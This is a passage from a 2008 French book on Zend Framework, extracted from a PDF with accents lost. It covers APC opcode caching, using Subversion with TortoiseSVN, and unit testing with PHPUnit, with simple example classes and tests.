tantes car elles vont permettre de configurer le cache de manire optimale.
Figure F4
Principe du cache dopcode
pecl install apc
EN SAVOIR PLUS Les options dAPC
Vous retrouvez toutes ces options et ces param-
tres sur la documentation officielle ladresse
suivante :
Bhttp://www.php.net/apc
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
405
Aussi, en plus de faire office de cache dopcode, APC fait aussi office de
cache utilisateur : il ajoute des fonctions PHP qui vont permettre de
stocker dans le cache des variables PHP, idalement issues dun traite-
ment lourd.
Enfin, le cache est fourni avec un fichier qui permet de le surveiller :
apc.php.
Fonctionnement dAPC
Voyons dj quoi ressemble de lopcode.
Exemple de code PHP simpliste :
Voici lopcode rsultant :
Figure F5
Monitoring de APC
<?php
$a = "bonjour";
$b = "le monde";
$helloWorld = $a . $b;
if ($_GET['helloworld'] == 1) {
echo $helloWorld;
} else {
echo "byebye";
}
?>
0 ASSIGN !0, 'bonjour'
1 ASSIGN !1, 'le+monde'
2 CONCAT ~2 !0, !1
3 ASSIGN !2, ~2
4 FETCH_R global $4 '_GET'
5 FETCH_DIM_R $5 $4, 'helloworld'
6 IS_EQUAL ~6 $5, 1
7 JMPZ ~6, ->10
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
406
Comme nous pouvons le remarquer, lopcode est un code proche du code
processeur, et il prend en moyenne 30 % de place supplmentaire par rap-
port au code PHP dont il est issu. Ce critre est important pour pouvoir
dimensionner la taille du segment mmoire qui va servir de cache.
APC stocke lopcode dans un segment partag de mmoire vive. Il est
donc ncessaire de pouvoir grer les accs concurrents ce segment par
des processus de verrous.
APC reprsente donc une table gante partage entre tous les processus
du serveur web. La taille de cette table est importante afin dviter au
maximum les collisions dentres/sorties.
Configuration dAPC
Pour configurer la taille de la table, APC fournit trois paramtres que
lon trouve (ou que lon ajoute) dans php.ini :
apc.num_files_hint : dtermine le nombre maximum de fichiers
PHP stocker dans le cache ;
apc.user_entries_hint : dtermine le nombre maximum dentres
utilisateurs stocker dans le cache ;
apc.max_file_size : configure la taille maximale dun fichier dans le
cache. Si vous tes limits en mmoire et que vous avez de gros
fichiers PHP, ce paramtre peut vous tre utile, au prix dune baisse
souvent srieuse du gain apport par APC.
Ces trois paramtres doivent tre ajusts en consquence. vitez de
mettre des valeurs farfelues, qui peuvent mener de moindres gains de
performance.
Mme si son opcode est mis en mmoire, APC accde tout de mme au
fichier PHP demand par la requte HTTP, afin de vrifier si celui-ci a
chang, et si le cache est donc invalide. Sans cette vrification, un chan-
gement dans les fichiers PHP ne serait pas reflt sur le site, et un red-
marrage du serveur serait alors ncessaire.
apc.stat : mis la valeur 0, APC ne vrifie pas la date des fichiers
chaque appel, et les chargera directement depuis la mmoire. Cette
fonctionnalit offre un gain de performance important, tant donn que
tous les appels disque sont vits. Ceci est trs avantageux pour un ser-
veur de production sur lequel les fichiers source ne sont pas modifis.
8 ECHO !2
9 JMP ->11
10 ECHO 'byebye'
11 RETURN 1
12* ZEND_HANDLE_EXCEPTION
F


C
o
m
m
e
n
t

f
o
n
c
t
i
o
n
n
e

P
H
P
?
Groupe Eyrolles, 2008
407
apc.stat_time dit APC de vrifier la date de cration du fichier
PHP, plutt que sa date de modification. Certains outils comme
rsync ou subversion peuvent modifier la date de modification dun
fichier, et la mettre dans le pass, invalidant ainsi le cache. Cette
option est donc utile dans ces cas-l.
apc.ttl dfinit le TTL (temps de validit) dune ressource en
mmoire. En gnral, ceci est utilis comme porte de secours pour
rafrachir une donne du cache au bout de X secondes.
apc.gc_ttl dfinit le temps au bout duquel le ramasse-miettes (gar-
bage collector) invalidera une entre de cache, mme si celle-ci est
utilise ce moment-l par un processus. Ceci peut tre utile dans le
cas o un processus accde une entre dans la table mais meurt de
faon inattendue, rendant lentre occupe.
Il reste encore beaucoup doptions qui permettent de jouer finement sur
le comportement du cache dopcode APC. Celles-ci sont commentes
sur le site de PHP.
Fonctions et cache utilisateur
APC ajoute des fonctions PHP permettant lutilisateur de mettre
dans le cache des variables. Ceci savre particulirement intressant
pour viter des traitements lourds, typiquement des rsultats de requtes.
Bien entendu, le TTL (temps de validit) du cache peut tre configur.
Lautre avantage est que, comme le cache se fait en mmoire, laccs aux
donnes devient donc extrmement rapide.
Voici la liste des fonctions ajoutes par APC PHP. Nous ne les expli-
quons pas ici, car elles parlent delles-mmes, et leur dfinition est dis-
ponible sur la documentation officielle de PHP.
Fonctions dinsertion
apc_cache_info() ;
apc_sma_info().
Fonctions dajout
apc_store() ;
apc_add() ;
apc_compile_file().
Fonctions de suppression
apc_delete() ;
apc_clear_cache().
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
408
Fonction dinterrogation
apc_fetch().
Toutes ces fonctions ont servi de socle pour le dveloppement dun sup-
port de cache (backend) pour le composant Zend_Cache :
Zend_Cache_Backend_Apc.
Son utilisation est trs simple, tant donn quil ne ncessite pas de con-
figuration spciale, si ce nest bien entendu la prsence dAPC sur le ser-
veur. Il est donc possible dutiliser APC avec Zend_Cache, afin
damliorer encore plus les performances dune application.
Nous allons vous donner un exemple qui peut savrer trs utile : com-
piler lensemble du code source de Zend Framework en mmoire. Il peut
tre intressant de lancer une telle opration juste avant louverture du
port dcoute du serveur web : celui-ci pourra alors pleinement traiter sa
charge, sans avoir besoin daccder au disque en ce qui concerne le Zend
Framework (la majorit des fichiers).
Cet exemple est illustr la fin du chapitre 10, li la gestion des perfor-
mances avec Zend Framework.
RENVOI Zend_Cache
Zend_Cache est abord au chapitre 8.
Groupe Eyrolles, 2008
G
Utiliser Subversion
Subversion est un outil de gestion de versions. Il rpond
un besoin de simplification et de scurisation pour la gestion
du code source. Aujourdhui, des centaines de milliers
de projets utilisent un gestionnaire de versions (CVS
ou Subversion), cela permet de grer un projet dans
la continuit et de simplifier le travail plusieurs.
SOMMAIRE
BSubversion dans un projet
BPrise en main dun client
Subversion
MOTS-CLS
Bversions
BSubversion
Brvision
Bpatch
Bdiffrence
Btag
Bdpt
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
410
Zend Framework utilise Subversion. Il est tout indiqu den faire de
mme pour vos projets PHP. Nous verrons, entre autres, que Subversion
met en uvre des mcanismes intressants pour un partage optimal du
code source, mme entre plusieurs applications gres indpendamment.
Subversion dans un projet
Techniquement, le dpt Subversion est une base de donnes qui contient
tous les fichiers sources du framework et leur historique. Les dve-
loppeurs qui ont un accs en criture au dpt valident leurs contribu-
tions afin de mettre jour les sources.
Ainsi, le dveloppement est en perptuelle volution. partir du code
source principal, appel tronc (trunk), des marqueurs sont placs, afin de
matrialiser ce qui deviendra une version de production (1.0, 1.03, 1.5...)
propose en tlchargement sous forme darchive zip, ou tar.gz.
Des drivations de lensemble du code peuvent aussi tre effectues dans
le dpt. Ceci matrialise une branche. Une branche est une copie du
code sur laquelle une quipe spcifique va travailler de manire parallle
au code du tronc qui, lui, est toujours en volution. En gnral, les dve-
loppeurs travaillent sur le tronc puis incluent certaines de ses modifica-
tions une branche. Ces modifications, dplaces de branche en
branche, sappellent des patchs.
Figure G1
Du dpt de donnes aux paquetages
G


U
t
i
l
i
s
e
r

S
u
b
v
e
r
s
i
o
n
Groupe Eyrolles, 2008
411
Souvent, seules quelques personnes ont un accs en criture au dpt, en
gnral les dveloppeurs. Les visiteurs, eux, possdent un accs en lec-
ture. chaque fois quun dveloppeur modifie le dpt (ajout dun
fichier, mise jour, suppression, etc.), le dpt entier monte dune ver-
sion, appele rvision. Cest un des principes de Subversion.
Subversion se compose dun serveur et de clients. Ses principaux atouts
sont :
le partage illimit dinformations, gnralement du code sources mais
il est possible de traiter toutes sortes de fichiers ;
la gestion des versions et des mises jour de chaque fichier du projet ;
la possibilit dextraire une version spcifique dun projet ;
la possibilit, pour plusieurs personnes, de centraliser leurs sources et
de travailler en parfaite synchronisation.
Subversion pour Zend Framework
Il est possible de rcuprer le code de Zend Framework en tlchargeant
les paquetages, ce qui est la mthode la plus rapide. Mais il est gale-
ment possible daccder aux sources via le dpt Subversion.
Cette possibilit peut tre motive par les lments suivants :
accder des lments qui ne sont pas encore disponibles en paque-
tages (prsents dans lincubateur) ;
rcuprer des patchs, pour corriger des bogues ventuels, sans
attendre pour cela le paquetage dune version ;
pratiquer une veille technologique : suivre ltat et lvolution globale
de Zend Framework en direct (rcupration du tronc commun) ;
comparer des versions de fichiers, afin de suivre une volution parti-
culire.
Ladresse du dpt Subversion de Zend Framework est la suivante :
http://framework.zend.com/svn/framework/standard
/tags contient le code source marqu de toutes les versions passes en
paquetages ;
/branches reprsente diffrentes branches ; nous avons par exemple
/release-1.0, /release-1.5... ;
/incubator contient les futurs composants, en cours de
dveloppement ;
/trunk reprsente le tronc commun de lapplication. Cest la branche
principale.
INFO Subversion pour ce livre
Lors de llaboration de cet ouvrage, ses auteurs
ont utilis Subversion afin de centraliser les don-
nes telles que les chapitres, les schmas ou le
code de lapplication dexemple.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
412
/trunk/documentation comporte la documentation organise par
langue. Elle est au format XML et ncessite des outils afin de la
compiler au format HTML ;
/trunk/library stocke les sources du framework (core), le dossier le
plus intressant ;
/trunk/tests comporte tous les tests unitaires des composants.
Prise en main dun client Subversion
Installation dun client (Windows)
Nous allons utiliser le plus classique dentre eux, TortoiseSVN. Il est
sous licence GPL, puissant, intuitif et trs pratique manier du fait de sa
parfaite intgration lexplorateur Windows.
Vous pouvez le tlcharger sur http://tortoisesvn.net/downloads.
Une fois prt, crez un dossier dans lequel accueillir Zend Framework,
cliquez droit dessus et choisissez SVN Checkout.
Saisissez lURL http://framework.zend.com/svn/framework/standard et validez.
Figure G2
Structure du dpt Subversion
de Zend Framework
VOIR AUSSI Tests du framework
Pour plus dinformations sur les tests, rendez-vous
lannexe H.
INFO SVN Checkout
Checkout est la commande Subversion permet-
tant de rapatrier une copie de travail complte
depuis un dpt.
G


U
t
i
l
i
s
e
r

S
u
b
v
e
r
s
i
o
n
Groupe Eyrolles, 2008
413
Votre client Subversion rcupre toutes les sources disponibles. Si vous
ne souhaitez pas lintgralit, vous pouvez choisir une arborescence plus
profonde depuis le Checkout.
Lorsque lopration de rcupration est termine, licne du dossier est
modifie et arbore une petite coche verte. Cela signifie que votre copie
de travail na pas t modifie localement.
Quelques commandes Subversion
Si vous cliquez droit nouveau sur le dossier, vous avez maintenant accs
plus doptions. Nous allons parcourir les plus pertinentes.
SVN Update vous permettra de mettre jour votre copie de travail
avec les nouvelles sources disponibles ;
SVN Commit est une opration de modification (validation dune
modification). Cette opration ncessite des droits daccs, et est
rserve une petite lite.
Figure G3
Tlcharger un dpt
via la commande Checkout
Figure G5
Commandes Subversion avances,
disponibles par clic droit
ATTENTION Dossiers .svn
TortoiseSVN va crer un dossier .svn dans
chacun des sous-dossiers de votre copie de tra-
vail. Ceux-ci sont cachs et ncessaires la
bonne gestion des versions. Veillez ne pas les
manipuler ou les supprimer.
PRCISION Accs aux commandes
Toutes ces commandes sont accessibles sur des
fichiers ou des dossiers de votre copie locale du
dpt, elles sappliquent donc chaque lment
de celui-ci.
Figure G4
Boutons SVN Update et SVN Commit
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
414
Repo-browser va vous permettre de naviguer directement dans le
dpt en ligne ;
Revision graph va vous dresser un aperu graphique des rvisions, qui
ressemble la figure G-6 ;
Update to revision permet de rcuprer la rvision prcise dun
lment ;
Revert annule les modifications effectues localement sur un fichier et
revient sa version originale (HEAD) ;
Export extrait llment. Si cest un dossier, ceci a pour effet de fournir
une copie propre, sans les dossiers de contrle de version Subversion
(.svn) ;
Create patch : cre un patch. Il sagit dun fichier contenant les diff-
rences entre deux versions de mmes lments ;
Show log : loption la plus intressante sans doute. Vous pouvez choisir
un intervalle de temps afin de comprendre ce qui sy est pass. Chaque
commit (opration de validation) est accompagn dun commentaire
complet, mentionnant ventuellement un numro de ticket pour le
bogue concern. La colonne Rvision indique le numro de la rvision
Figure G6
Arbre des rvisions
G


U
t
i
l
i
s
e
r

S
u
b
v
e
r
s
i
o
n
Groupe Eyrolles, 2008
415
du dpt affecte. chaque commit, le dpt augmente dune rvision,
quel que soit le nombre de fichiers ayant t modifis dans ce commit.
Dans la fentre de log, un clic droit sur une ligne de rvision laisse appa-
ratre un nouveau menu concernant la rvision choisie.
Chaque rvision peut avoir t cre par la modification dun ou plusieurs
fichiers sur le dpt. La commande Show differences as unified diff va vous
montrer un rapport de modification, tel quillustr sur la figure G-8.
Figure G7
La commande Show log
Figure G8
Voir les diffrences entre
plusieurs rvisions dun fichier
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
416
Chaque fichier modifi y est indiqu, ainsi que les lignes affectes. Les
lignes prcdes dun signe + ont t ajoutes dans cette rvision, les
lignes prcdes dun signe -, au contraire, ont t retires.
Ceci permet un suivi parfait de chaque fichier, de chaque rvision. Ce
menu est en rapport avec la commande Create patch : un fichier de patch
ressemble beaucoup laperu gnr par Show differences.
Liaison du dpt Subversion avec un serveur web
En plus de pouvoir lire, et ventuellement crire, dans un dpt avec un
client spcial (comme TortoiseSVN), Subversion propose des connecteurs
permettant de lintgrer sur un site web, souvent la forge dun projet.
Ainsi, des forges comme Trac intgrent une vue du dpt SVN sur le
site web du projet, comme le reprsente la figure G-9.
Subversion est aussi fourni avec des extensions pour Apache, permettant
celui-ci de lire un dpt et den prsenter larborescence au travers
dune URL. La figure G-10 illustre ceci.
T Forge
La forge dun projet reprsente lensemble des
outils qui permettent son dveloppement collabo-
ratif. On pourra citer le gestionnaire de versions,
loutil de suivi de bogues, le gestionnaire de docu-
mentation, etc.
Figure G9
La forge Trac et lintgration de Subversion
Figure G10
Apache li Subversion
Groupe Eyrolles, 2008
H
Pratique des tests
avec PHPUnit
Lorsquon parvient structurer correctement un projet web,
il devient possible de le tester. Les tests, au mme titre que
la documentation, font partie du cycle de dveloppement
de lapplication web. Le recours la programmation oriente
objet et la sparation des fonctionnalits dans un programme
permettent dorganiser et dindustrialiser des procdures
de tests.
SOMMAIRE
BQuest-ce quun test,
et quoi sert-il ?
BComment crer un test ?
BComment crer
une batterie de tests ?
MOTS-CLS
BPHPUnit
Btests unitaires
Bqualit
Bdurabilit
Bdbogage
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
418
Dans cette annexe, nous prsenterons diffrentes familles de tests, puis
nous nous focaliserons sur les tests unitaires.
Nous montrerons en quoi ceux-ci sont utiles en saidant de PHPUnit,
une bibliothque considre aujourdhui comme un standard et large-
ment inspire de son homologue Java : JUnit. Nous verrons galement
comment organiser ses tests, et les intgrer dans le projet.
Enfin, Zend Framework tant test avec PHPUnit, nous satisferons
notre curiosit en passant quelques tests en revue.
Prsentation du concept de test
Il existe diffrentes familles de tests, en voici quelques-unes parmi les
plus courantes :
tests unitaires : ils vrifient les fonctionnalits dune classe ou dun
ensemble de classes, une une. On dfinit des scnarios de tests ;
tests dintgration : ils vrifient que des fonctionnalits senchanent
correctement. Ces tests se droulent souvent du point de vue du
client (navigateur web) ;
tests de non-rgression : ils vrifient quune mise jour ne dgrade pas
un comportement. Ces tests sont intgrs en gnral dans les tests
unitaires ;
tests de performance : ils vrifient que les performances spcifies sont
bien atteintes sur un scnario donn ;
tests fonctionnels : ils vrifient que les fonctions sont bien atteintes, par
rapport aux attentes ;
tests de robustesse : ils analysent le comportement dun scnario sous
charge, ou en simulant une panne dun composant (base de donnes
par exemple) ;
tests de vulnrabilit : ils analysent la scurit dun scnario ;
tests dacceptation : ils permettent de sassurer que les utilisateurs
finaux arrivent prendre en main correctement loutil.
Dans tout projet, les tests sintgrent tous les tages :
un code fouillis est difficilement testable ;
un code testable est un code que lon peut maintenir ;
tester son code permet de mieux apprhender le changement de sp-
cifications et de valider le bon fonctionnement dun algorithme ;
crire des tests permet dcrire, de manire naturelle, un code correct
dun point de vue gnie logiciel, cest--dire un code peu coupl, for-
tement cohsif, et rsistant aux changements.
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
419
Les tests unitaires
Dans un projet non architectur, ou mal architectur, le temps pass
dboguer une application augmente significativement avec le cycle de vie
de lapplication, jusqu devenir totalement ingrable. Ceci est dautant
plus vrai si le projet nest pas pens et conu sous forme de design pat-
terns sembotant les uns dans les autres.
Comment sassurer que lintroduction de code, ou dun correctif, ne
modifie pas le comportement de lapplication en un point donn ? En
crivant des tests unitaires pour toutes ses fonctions.
videmment, crire des tests ne signifie pas que le code utile que lon
fournit nest pas bogu. Mais ceci permet de vrifier limpact qua un
(petit) changement sur lensemble de lapplication.
Les tests unitaires, lorsquils sont crits convenablement, offrent donc de
nombreux avantages :
fournir lauteur du code et aux lecteurs la certitude que les correc-
tions insres produisent bien leffet recherch ;
permettre aux dveloppeurs de dcouvrir les effets de bord du
systme ;
mettre immdiatement en avant les rgressions et sassurer que la
mme rgression ne se reproduira pas ;
illustrer de faon concrte les modes dutilisation de lAPI et contri-
buer de manire significative aux efforts de documentation.
Mais quest-ce qui vrifie les tests unitaires, et sassure quils ne sont pas
bogus ? La rponse est simple : le code utile. Le code et les tests uni-
taires sont deux ensembles totalement complmentaires qui se rpon-
dent lun lautre. Ainsi, crire des tests unitaires est une philosophie
part entire, presque un mtier, mais qui devrait tre une habitude syst-
matique lorsquil sagit de dvelopper une nouvelle fonctionnalit dans
un programme, quelle soit crite sous forme de classes, ou de fonctions.
Un exemple simple
Beaucoup de dveloppeurs utilisent les fonctions echo(), var_dump() ou
print_r() de PHP afin dexcuter des tests. Voyons un exemple simple :
User.php
<?php
class User
{
const ADMIN = 2;
const GUEST = 1;
SAVOIR Test unitaire
Un test unitaire sert tester unitairement une
fonctionnalit. Lorsquil sagit dun cas prcis, on
parle de scnario de test.
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
420
Cette classe toute simple peut tre teste grce un cas dutilisation :
Test simple de User (1)
Avec la commande echo, nous nous attendons ce que laffichage soit 2.
Un echo ntant plus suffisant pour un type composite (array, object),
var_dump() ou print_r() viennent complter le test :
Test simple de User (2)
public $name;
private $_level;
public function __construct($nom, $level = self::ADMIN)
{
$this->name = $nom;
$this->_level = $level;
}
public function setLevel($level)
{
if(!in_array($level, array(self::ADMIN,self::GUEST))) {
throw new Exception ('niveau incorrect');
}
$this->_level = $level;
}
public function getLevel()
{
return $this->_level;
}
}
<?php
require 'User.php';
$user = new User('Julien');
echo $user->getLevel();
<?php
require 'User.php';
$user = new User('Julien');
var_dump($user);
/* affiche :
object(user)#1 (2) {
["name"]=>
string(6) "Julien"
["_level:private"]=>
int(2)
}
*/
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
421
Plusieurs problmes se posent avec cette mthode de test :
Ce qui saffiche lcran nest pas forcment le rsultat attendu, ce
qui nest pas visible au premier coup dil. Aucun mcanisme ne
permet de vrifier quil sagit bien du bon rsultat.
Comment tester une exception, comme dans le cas de la mthode
setLevel() ? En la provoquant et en bloquant ainsi le programme ?
Comment industrialiser, organiser ces tests ? Ils sont souvent trs
nombreux et il faut pouvoir les organiser convenablement.
Un premier lment de rponse se trouve dans les assertions. PHP pos-
sde une fonction assert() pour cela.
Rcrivons nos tests avec la fonction assert() :
Test de User, avec assertions
Ce code naffiche rien du tout, et cest tant mieux.
Tout aussi simple que les prcdents, ce code de test a rsolu certains
problmes vis--vis du mme code de test, mais cette fois avec les fonc-
tions daffichage (echo, var_dump()...) : le code avec les assertions
naffiche rien lcran, sauf sil y a une erreur.
La fonction assert() prend en paramtre une expression PHP au mme
titre que la trs connue structure de langage if. Si le rsultat de lexpres-
sion reprsente le boolen false, alors une erreur de niveau E_WARNING
sera mise, sinon rien ne se passe.
Lavantage est immdiatement visible : sil y a un problme dans le code
test, il sera explicitement affich, avec le numro de la ligne correspon-
dante.
Un echo (par exemple) :
affiche systmatiquement quelque chose ;
affiche quelque chose qui na pas de sens intrinsque ;
naffiche pas le numro de la ligne sur laquelle il est crit.
Une assertion :
naffiche une erreur que sil y a erreur dans lassertion ;
affiche le numro de la ligne sur laquelle elle est crite, dans le cas
dune erreur.
<?php
require 'User.php';
$user = new User('Julien');
assert($user->getLevel() == 2);
assert($user->name == 'Julien');
SAVOIR Assertion
Une assertion est une vrification boolenne
true : on vrifie quune condition est vraie. Si elle
est fausse, alors cest quun problme plus ou
moins srieux est arriv, qui est alors signal par le
programme.
REMARQUE Zend Framework et les tests
Zend Framework comporte environ 200 000 lignes
de code utile. Pensez-vous rellement quil soit
possible dcrire autant de lignes, sans se soucier
de les tester ? Si ctait le cas, cet ouvrage nexis-
terait probablement pas...
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
422
Aller plus loin avec les tests : PHPUnit
Maintenant que nous avons vu les avantages des assertions par rapport
aux fonctions daffichage, nous allons introduire PHPUnit, car les asser-
tions PHP ont tout de mme certaines limites :
impossible de tester la prsence dune exception ;
lassertion en elle-mme peut tre trs longue crire ;
une longue suite dassert(), les uns sous les autres, fait finalement
perdre la matrise du programme de test et entrane une certaine con-
fusion sa relecture ;
nous navons toujours pas trouv de mthode pour industrialiser nos
tests : comment les organiser, les sparer, les reconnatre, les lancer
facilement ?
PHPUnit est une librairie PHP qui va simplifier lcriture et lorganisa-
tion de tests. Il sagit dun ensemble de fichiers PHP reprsentant des
classes, un peu comme Zend Framework, mais dont le but est de forte-
ment aider organiser et crire des tests solides, ayant la particularit
dtre tous bass sur les assertions PHP.
PHPUnit est calqu sur des outils de tests dautres langages, comme
JUnit pour Java. Il propose non seulement lcriture de tests, mais aussi :
lanalyse de la couverture de code ;
la rdaction automatique dune documentation agile ;
des rapports de tests intgrables dans dautres applications, au format
XML ou JSON ;
lorganisation de suites de tests ;
la simulation dune base de donnes, ou dun navigateur (tests
fonctionnels) ;
et bien plus encore...
Installer PHPUnit
PHPUnit possde un canal PEAR et sinstalle donc simplement via le
PHP Extension And Repository. Il est aussi possible dinstaller PHPUnit
comme une archive, hors PEAR. La procdure est cependant lgre-
ment plus longue, car PEAR possde lavantage de configurer PHPUnit
afin quil soit prt un lancement immdiat.
Installation via PEAR
pear channel-discover pear.phpunit.de
pear install phpunit/PHPUnit
URL PHPUnit
Le site Internet de PHPUnit est trs complet et pro-
pose une documentation en franais, avec des
exemples :
Bhttp://www.phpunit.de
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
423
Si linstallation sest bien passe, tapez phpunit dans votre ligne de com-
mande, pour vrifier que le programme est bien trouv.
crire des tests avec PHPUnit
Nous allons reprendre notre classe User, utilise dans ce chapitre. Cette
classe va rester inchange, nous allons juste modifier les tests que nous
avons crits pour en vrifier le fonctionnement. Il convient de respecter
quelques rgles avec PHPunit :
PHPUnit se pilote en ligne de commande et utilise lexcutable PHP.
Tapez phpunit dans votre invite de commandes pour voir la liste des
options disponibles ;
tous les tests scrivent dans des classes qui tendent la classe
PHPUnit_Framework_TestCase ;
globalement, pour tester un script, il faut taper phpunit
<nom_du_script_de_test.php> si le script a le mme nom que la
classe. Dans le cas contraire, il faudra utiliser la syntaxe suivante :
phpunit <nom_de_la_classe_de_test> <nom_du_script_de_test>.
Chaque scnario de test est reprsent par une mthode dans la classe de
tests.
La mthode doit :
tre publique ;
commencer par le prfixe test ;
dcrire au mieux le test ralis, mme si son nom doit tre trs long ;
tre crite avec la notation CamelCase afin que le gnrateur de
documentation puisse fonctionner.
Exemple de test unitaire
UserTest.php
<?php
require 'PHPUnit/Framework/TestCase.php';
require 'User.php';
class UserTest extends PHPUnit_Framework_TestCase
{
private $_user;

public function setUp()
{
$this->_user = new User('julien');
}
RAPPEL CamelCase
Dans la notation CamelCase, tous les mots sont
colls entre eux, la sparation se faisant avec des
capitales. Par exemple :
VoiciUnePhraseEnCamelCase !
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
424
Si nous analysons ce code, nous pouvons remarquer, premire vue, que
le test est organis : il sagit dune classe comportant plusieurs scnarios
de tests.
Structure dune classe de tests
Toute classe de tests tend PHPUnit_Framework_TestCase et est associe
avec lobjet rel tester, matrialis dans notre cas par lattribut de classe
$_user.
Chaque mthode de test (appele aussi scnario de test) va tester un ou
plusieurs cas dutilisation de lobjet. En gnral, on teste dj toutes les
mthodes de lobjet, de manire sassurer que la couverture (le nombre
de mthodes couvertes) de code est maximale. Puis on teste plus fine-
ment certains scnarios susceptibles de se produire.
La mthode setUp() est appele avant chaque mthode de test et va ini-
tialiser le contexte du test. Dans notre cas, nous crons une simple instance
de la classe User, que nous stockons dans une proprit prive $_user.
Chaque test est lanc indpendamment des autres, ainsi aucun des tests
ne va influer sur le comportement de ses voisins. Ceci est trs important.
Une mthode tearDown() est aussi disponible. Elle est appele aprs
chaque scnario de test.
Les assertions
Les assertions permettent de contrler si le comportement des fonction-
nalits testes est bien le bon. Un moyen mnmotechnique pour utiliser
les assertions consiste se poser la question Est-il vrai que... ? .
Toutes ces assertions reposent sur la fonction assert() de PHP, mais
PHPUnit se charge de tout en mettant notre disposition des mthodes
dassertions plus directes, et plus utiles.
public function testConstructeur()
{
$this->assertEquals('julien', $this->_user->name);
$this->assertEquals(User::ADMIN,
$this->_user->getLevel());
}

public function testLevel()
{
$this->_user->setLevel(1);
$this->assertEquals(1, $this->_user->getLevel());
$this->setExpectedException('Exception');
$this->_user->setLevel(8);
}
}
RAPPEL Mthodes de test
PHPUnit ninterprtera que les mthodes commen-
ant par le prfixe test, toutes les autres
mthodes ne seront pas reconnues comme des
tests.
H


P
r
a
t
i
q
u
e

d
e
s

t
e
s
t
s

a
v
e
c

P
H
P
U
n
i
t
Groupe Eyrolles, 2008
425
PHPUnit possde plusieurs mthodes dassertions parmi lesquelles :
$this->assertEquals(x, y) : est-il vrai que x est gal y ?
$this->assertTrue(x) : est-il vrai que x est vrai ?
$this->assertFalse(x) : est-il vrai que x est faux ?
$this->assertArrayHasKey(x) : est-il vrai que le tableau x est
associatif ?
Excution de la classe de tests
Pour excuter la classe de tests, nous utilisons lexcutable phpunit dans
une invite de commandes, comme dcrit prcdemment.
Linvite de commandes affiche le rsultat de PHPUnit. Notez les deux
points sur le rsultat. Ceci reprsente nos deux tests : ils ont tous deux
t passs avec succs :
un point . reprsente un test pass avec succs ;
une lettre E indique une erreur PHP non fatale dans le test (war-
ning, strict, notice) ;
une lettre F indique que le test a chou, parce que au moins une
assertion dans le scnario nest pas passe ;
une lettre I reprsentera un test incomplet, par exemple sa mthode
est crite, le scnario est l, mais non rempli (report plus tard) ;
une lettre S indique que le test a t ignor pour une raison que le
programmeur devrait connatre, car cest lui qui dtermine ligno-
rance dun test (par exemple, un test ncessitant lextension PHP
Mcrypt sera marqu comme ignor si celle-ci nest pas disponible lors
de son excution).
URL Les assertions PHPUnit
Vous trouverez la liste exhaustive des assertions
PHPUnit ladresse suivante :
Bhttp://www.phpunit.de/pocket_guide/3.3/
en/api.html#api.assert
REMARQUE Mode verbeux
Lancer PHPUnit avec loption --verbose lui fera
afficher plus de dtails lors derreurs dans les tests.
Nous vous la conseillons.
Figure H1
Notre premier test de la classe User
Z
e
n
d

F
r
a
m
e
w
o
r
k

-

B
i
e
n

d

v
e
l
o
p
p
e
r

e
n

P
H
P
Groupe Eyrolles, 2008
426
Concept du dveloppement pilot par les tests
Nous pouvons noter que les tests et les classes dits utiles se rpondent
lun lautre. Aussi, le fait de lire le test va nous informer sur le comporte-
ment attendu dune classe ou dun ensemble (dans le cas de tests dits
dintgration).
Ainsi, plutt que dcrire les tests aprs une classe, il est plus logique de
les crire avant et de dvelopper la classe utile au fur et mesure, afin de
la faire rpondre aux tests.
Ce procd est appel dveloppement pilot par les tests. Il peut tre assi-
mil une mthode dite agile : le fait dutiliser la fonctionnalit avant de
lavoir crite permet doptimiser son criture ultrieure. Nous allons
traiter lexemple du panier que lon remplit de produits, et dont on peut
extraire le total.
En crivant les tests avant les classes, nous allons dcrire de manire perma-
nente et ordonne la manire dont nous voulons voir voluer nos objets.
Voici les spcifications :
un produit possde un nom et un prix ;
un panier agrge des produits, il connat la quantit de chacun deux ;
on peut demander le total payer au panier ;
on peut parcourir le panier afin de retrouver les produits qui le com-
posent.
Organisation du projet
Lorganisation dun projet aussi basique est simple. Il faut cependant bien
sparer les fichiers de test des fichiers contenant limplmentation des
fonctionnalits. Nous utiliserons larborescence illustre sur la figure H-2.
Dfinition de la classe de tests des Produits
tests/ProduitTest.php
<?php
require 'PHPUnit/Framework/TestCase.php';
require '../classes/Produit.php';
class ProduitTest extends PHPUnit_Framework_TestCase
{
public function testConstructeur()
{
$produit = new Produit('souris', 15.3);
$this->assertEquals('souris', $produit->getNom());
